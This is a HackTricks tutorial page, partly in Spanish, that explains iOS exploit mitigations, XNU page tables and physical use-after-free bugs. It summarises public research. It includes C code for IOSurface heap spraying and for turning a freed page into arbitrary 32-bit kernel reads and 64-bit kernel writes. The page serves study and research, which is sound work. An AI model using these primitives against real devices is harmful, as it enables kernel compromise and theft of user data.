hacktricks/src/binary-exploitation/ios-exploiting/ios-physical-uaf-iosurface.md

16 KiB
Raw Blame History

iOS Physical Use After Free via IOSurface

{{#include ../../banners/hacktricks-training.md}}

Mitigaciones de exploits en iOS

  • Code Signing en iOS funciona requiriendo que cada pieza de código ejecutable (apps, librerías, extensiones, etc.) esté firmada criptográficamente con un certificado emitido por Apple. Cuando se carga código, iOS verifica la firma digital contra la raíz de confianza de Apple. Si la firma es inválida, falta o ha sido modificada, el OS se niega a ejecutarlo. Esto impide que un atacante inyecte código malicioso en apps legítimas o ejecute binarios sin firmar, deteniendo efectivamente la mayoría de las cadenas de explotación que dependen de ejecutar código arbitrario o manipulado.
  • CoreTrust es el subsistema de iOS responsable de hacer cumplir la firma de código en tiempo de ejecución. Verifica directamente las firmas usando el certificado raíz de Apple sin depender de almacenes de confianza en caché, lo que significa que solo pueden ejecutarse binarios firmados por Apple (o con entitlements válidos). CoreTrust asegura que, incluso si un atacante manipula una app después de la instalación, modifica librerías del sistema o intenta cargar código sin firmar, el sistema bloqueará la ejecución a menos que el código siga estando correctamente firmado. Esta estricta aplicación cierra muchos vectores post-explotación que versiones antiguas de iOS permitían mediante comprobaciones de firma más débiles o eludibles.
  • Data Execution Prevention (DEP) marca regiones de memoria como no ejecutables a menos que contengan explícitamente código. Esto impide que atacantes inyecten shellcode en regiones de datos (como stack o heap) y lo ejecuten, obligándolos a recurrir a técnicas más complejas como ROP (Return-Oriented Programming).
  • ASLR (Address Space Layout Randomization) aleatoriza las direcciones de memoria de código, librerías, stack y heap en cada arranque. Esto dificulta mucho que un atacante prediga dónde se encuentran instrucciones o gadgets útiles, rompiendo muchas cadenas de explotación que dependen de layouts de memoria fijos.
  • KASLR (Kernel ASLR) aplica el mismo concepto de aleatorización al kernel de iOS. Al barajar la dirección base del kernel en cada arranque, evita que un atacante localice de forma fiable funciones o estructuras del kernel, aumentando la dificultad de exploits a nivel de kernel que de otro modo obtendrían control completo del sistema.
  • Kernel Patch Protection (KPP) también conocido como AMCC (Apple Mobile File Integrity) en iOS, supervisa continuamente las páginas de código del kernel para asegurar que no hayan sido modificadas. Si se detecta manipulación—como un exploit intentando parchear funciones del kernel o insertar código malicioso—el dispositivo hará panic y se reiniciará inmediatamente. Esta protección hace que los exploits persistentes en el kernel sean mucho más difíciles, ya que un atacante no puede simplemente hookear o parchear instrucciones del kernel sin provocar un crash del sistema.
  • Kernel Text Readonly Region (KTRR) es una característica de seguridad basada en hardware introducida en dispositivos iOS. Usa el controlador de memoria de la CPU para marcar la sección de código (text) del kernel como permanentemente de solo lectura después del boot. Una vez bloqueada, ni siquiera el propio kernel puede modificar esta región de memoria. Esto evita que atacantes—e incluso código con privilegios—parcheen instrucciones del kernel en tiempo de ejecución, cerrando una gran clase de exploits que dependían de modificar directamente código del kernel.
  • Pointer Authentication Codes (PAC) usan firmas criptográficas incrustadas en bits no usados de los punteros para verificar su integridad antes de usarlos. Cuando se crea un puntero (como una dirección de retorno o un puntero a función), la CPU lo firma con una clave secreta; antes de desreferenciarlo, la CPU comprueba la firma. Si el puntero fue manipulado, la comprobación falla y la ejecución se detiene. Esto impide que atacantes forjen o reutilicen punteros corrompidos en exploits de corrupción de memoria, haciendo técnicas como ROP o JOP mucho más difíciles de ejecutar de forma fiable.
  • Privilege Access never (PAN) es una característica de hardware que evita que el kernel (modo privilegiado) acceda directamente a la memoria de user-space a menos que habilite explícitamente el acceso. Esto detiene a atacantes que obtuvieron ejecución de código en el kernel de leer o escribir fácilmente memoria de usuario para escalar privilegios o robar datos sensibles. Al imponer una separación estricta, PAN reduce el impacto de exploits del kernel y bloquea muchas técnicas comunes de escalada de privilegios.
  • Page Protection Layer (PPL) es un mecanismo de seguridad de iOS que protege regiones críticas de memoria gestionadas por el kernel, especialmente las relacionadas con code signing y entitlements. Aplica protecciones de escritura estrictas usando la MMU (Memory Management Unit) y comprobaciones adicionales, asegurando que incluso código de kernel con privilegios no pueda modificar páginas sensibles de forma arbitraria. Esto impide que atacantes que obtengan ejecución a nivel de kernel manipulen estructuras críticas de seguridad, haciendo la persistencia y las evasiones de code-signing significativamente más difíciles.

Physical use-after-free

This is a summary from the post from https://alfiecg.uk/2024/09/24/Kernel-exploit.html moreover further information about exploit using this technique can be found in https://github.com/felix-pb/kfd

Memory management in XNU

The virtual memory address space for user processes on iOS spans from 0x0 to 0x8000000000. However, these addresses dont directly map to physical memory. Instead, the kernel uses page tables to translate virtual addresses into actual physical addresses.

Levels of Page Tables in iOS

Page tables are organized hierarchically in three levels:

  1. L1 Page Table (Level 1):
  • Each entry here represents a large range of virtual memory.
  • It covers 0x1000000000 bytes (or 256 GB) of virtual memory.
  1. L2 Page Table (Level 2):
  • An entry here represents a smaller region of virtual memory, specifically 0x2000000 bytes (32 MB).
  • An L1 entry may point to an L2 table if it can't map the entire region itself.
  1. L3 Page Table (Level 3):
  • This is the finest level, where each entry maps a single 4 KB memory page.
  • An L2 entry may point to an L3 table if more granular control is needed.

Mapping Virtual to Physical Memory

  • Direct Mapping (Block Mapping):
  • Some entries in a page table directly map a range of virtual addresses to a contiguous range of physical addresses (like a shortcut).
  • Pointer to Child Page Table:
  • If finer control is needed, an entry in one level (e.g., L1) can point to a child page table at the next level (e.g., L2).

Example: Mapping a Virtual Address

Lets say you try to access the virtual address 0x1000000000:

  1. L1 Table:
  • The kernel checks the L1 page table entry corresponding to this virtual address. If it has a pointer to an L2 page table, it goes to that L2 table.
  1. L2 Table:
  • The kernel checks the L2 page table for a more detailed mapping. If this entry points to an L3 page table, it proceeds there.
  1. L3 Table:
  • The kernel looks up the final L3 entry, which points to the physical address of the actual memory page.

Example of Address Mapping

If you write the physical address 0x800004000 into the first index of the L2 table, then:

  • Virtual addresses from 0x1000000000 to 0x1002000000 map to physical addresses from 0x800004000 to 0x802004000.
  • This is a block mapping at the L2 level.

Alternatively, if the L2 entry points to an L3 table:

  • Each 4 KB page in the virtual address range 0x1000000000 -> 0x1002000000 would be mapped by individual entries in the L3 table.

Physical use-after-free

A physical use-after-free (UAF) occurs when:

  1. A process allocates some memory as readable and writable.
  2. The page tables are updated to map this memory to a specific physical address that the process can access.
  3. The process deallocates (frees) the memory.
  4. However, due to a bug, the kernel forgets to remove the mapping from the page tables, even though it marks the corresponding physical memory as free.
  5. The kernel can then reallocate this "freed" physical memory for other purposes, like kernel data.
  6. Since the mapping wasnt removed, the process can still read and write to this physical memory.

This means the process can access pages of kernel memory, which could contain sensitive data or structures, potentially allowing an attacker to manipulate kernel memory.

IOSurface Heap Spray

Since the attacker cant control which specific kernel pages will be allocated to freed memory, they use a technique called heap spray:

  1. The attacker creates a large number of IOSurface objects in kernel memory.
  2. Each IOSurface object contains a magic value in one of its fields, making it easy to identify.
  3. They scan the freed pages to see if any of these IOSurface objects landed on a freed page.
  4. When they find an IOSurface object on a freed page, they can use it to read and write kernel memory.

More info about this in https://github.com/felix-pb/kfd/tree/main/writeups

Tip

Be aware that iOS 16+ (A12+) devices bring hardware mitigations (like PPL or SPTM) that make physical UAF techniques far less viable. PPL enforces strict MMU protections on pages related to code signing, entitlements, and sensitive kernel data, so, even if a page gets reused, writes from userland or compromised kernel code to PPL-protected pages are blocked. Secure Page Table Monitor (SPTM) extends PPL by hardening page table updates themselves. It ensures that even privileged kernel code cannot silently remap freed pages or tamper with mappings without going through secure checks. KTRR (Kernel Text Read-Only Region), which locks down the kernels code section as read-only after boot. This prevents any runtime modifications to kernel code, closing off a major attack vector that physical UAF exploits often rely on. Moreover, IOSurface allocations are less predictable and harder to map into user-accessible regions, which makes the “magic value scanning” trick much less reliable. And IOSurface is now guarded by entitlements and sandbox restrictions.

Step-by-Step Heap Spray Process

  1. Spray IOSurface Objects: The attacker creates many IOSurface objects with a special identifier ("magic value").
  2. Scan Freed Pages: They check if any of the objects have been allocated on a freed page.
  3. Read/Write Kernel Memory: By manipulating fields in the IOSurface object, they gain the ability to perform arbitrary reads and writes in kernel memory. This lets them:
  • Use one field to read any 32-bit value in kernel memory.
  • Use another field to write 64-bit values, achieving a stable kernel read/write primitive.

Generate IOSurface objects with the magic value IOSURFACE_MAGIC to later search for:

void spray_iosurface(io_connect_t client, int nSurfaces, io_connect_t **clients, int *nClients) {
if (*nClients >= 0x4000) return;
for (int i = 0; i < nSurfaces; i++) {
fast_create_args_t args;
lock_result_t result;

size_t size = IOSurfaceLockResultSize;
args.address = 0;
args.alloc_size = *nClients + 1;
args.pixel_format = IOSURFACE_MAGIC;

IOConnectCallMethod(client, 6, 0, 0, &args, 0x20, 0, 0, &result, &size);
io_connect_t id = result.surface_id;

(*clients)[*nClients] = id;
*nClients = (*nClients) += 1;
}
}

Buscar objetos IOSurface en una página física liberada:

int iosurface_krw(io_connect_t client, uint64_t *puafPages, int nPages, uint64_t *self_task, uint64_t *puafPage) {
io_connect_t *surfaceIDs = malloc(sizeof(io_connect_t) * 0x4000);
int nSurfaceIDs = 0;

for (int i = 0; i < 0x400; i++) {
spray_iosurface(client, 10, &surfaceIDs, &nSurfaceIDs);

for (int j = 0; j < nPages; j++) {
uint64_t start = puafPages[j];
uint64_t stop = start + (pages(1) / 16);

for (uint64_t k = start; k < stop; k += 8) {
if (iosurface_get_pixel_format(k) == IOSURFACE_MAGIC) {
info.object = k;
info.surface = surfaceIDs[iosurface_get_alloc_size(k) - 1];
if (self_task) *self_task = iosurface_get_receiver(k);
goto sprayDone;
}
}
}
}

sprayDone:
for (int i = 0; i < nSurfaceIDs; i++) {
if (surfaceIDs[i] == info.surface) continue;
iosurface_release(client, surfaceIDs[i]);
}
free(surfaceIDs);

return 0;
}

Lograr lectura/escritura del kernel con IOSurface

Después de obtener control sobre un objeto IOSurface en kernel memory (mapeado a una página física liberada accesible desde userspace), podemos usarlo para operaciones arbitrarias de lectura y escritura en kernel.

Key Fields in IOSurface

El objeto IOSurface tiene dos campos cruciales:

  1. Use Count Pointer: Permite una lectura de 32 bits.
  2. Indexed Timestamp Pointer: Permite una escritura de 64 bits.

Al sobrescribir estos punteros, los redirigimos a direcciones arbitrarias en kernel memory, habilitando capacidades de lectura/escritura.

Lectura de 32 bits del kernel

Para realizar una lectura:

  1. Sobrescribe el use count pointer para que apunte a la dirección objetivo menos un offset de 0x14 bytes.
  2. Usa el método get_use_count para leer el valor en esa dirección.
uint32_t get_use_count(io_connect_t client, uint32_t surfaceID) {
uint64_t args[1] = {surfaceID};
uint32_t size = 1;
uint64_t out = 0;
IOConnectCallMethod(client, 16, args, 1, 0, 0, &out, &size, 0, 0);
return (uint32_t)out;
}

uint32_t iosurface_kread32(uint64_t addr) {
uint64_t orig = iosurface_get_use_count_pointer(info.object);
iosurface_set_use_count_pointer(info.object, addr - 0x14); // Offset by 0x14
uint32_t value = get_use_count(info.client, info.surface);
iosurface_set_use_count_pointer(info.object, orig);
return value;
}

Escritura de kernel de 64 bits

Para realizar una escritura:

  1. Sobrescribe el indexed timestamp pointer con la dirección objetivo.
  2. Usa el método set_indexed_timestamp para escribir un valor de 64 bits.
void set_indexed_timestamp(io_connect_t client, uint32_t surfaceID, uint64_t value) {
uint64_t args[3] = {surfaceID, 0, value};
IOConnectCallMethod(client, 33, args, 3, 0, 0, 0, 0, 0, 0);
}

void iosurface_kwrite64(uint64_t addr, uint64_t value) {
uint64_t orig = iosurface_get_indexed_timestamp_pointer(info.object);
iosurface_set_indexed_timestamp_pointer(info.object, addr);
set_indexed_timestamp(info.client, info.surface, value);
iosurface_set_indexed_timestamp_pointer(info.object, orig);
}

Resumen del flujo del exploit

  1. Trigger Physical Use-After-Free: Las páginas libres están disponibles para su reutilización.
  2. Spray IOSurface Objects: Asignar muchos objetos IOSurface con un valor mágico único en la memoria del kernel.
  3. Identify Accessible IOSurface: Localizar un IOSurface en una página liberada que controles.
  4. Abuse Use-After-Free: Modificar punteros en el objeto IOSurface para habilitar kernel read/write arbitrarios mediante los métodos de IOSurface.

Con estas primitivas, el exploit proporciona 32-bit reads controladas y 64-bit writes a la memoria del kernel. Los pasos adicionales del jailbreak podrían implicar primitivas de read/write más estables, lo que podría requerir eludir protecciones adicionales (p. ej., PPL en dispositivos arm64e más recientes).

{{#include ../../banners/hacktricks-training.md}}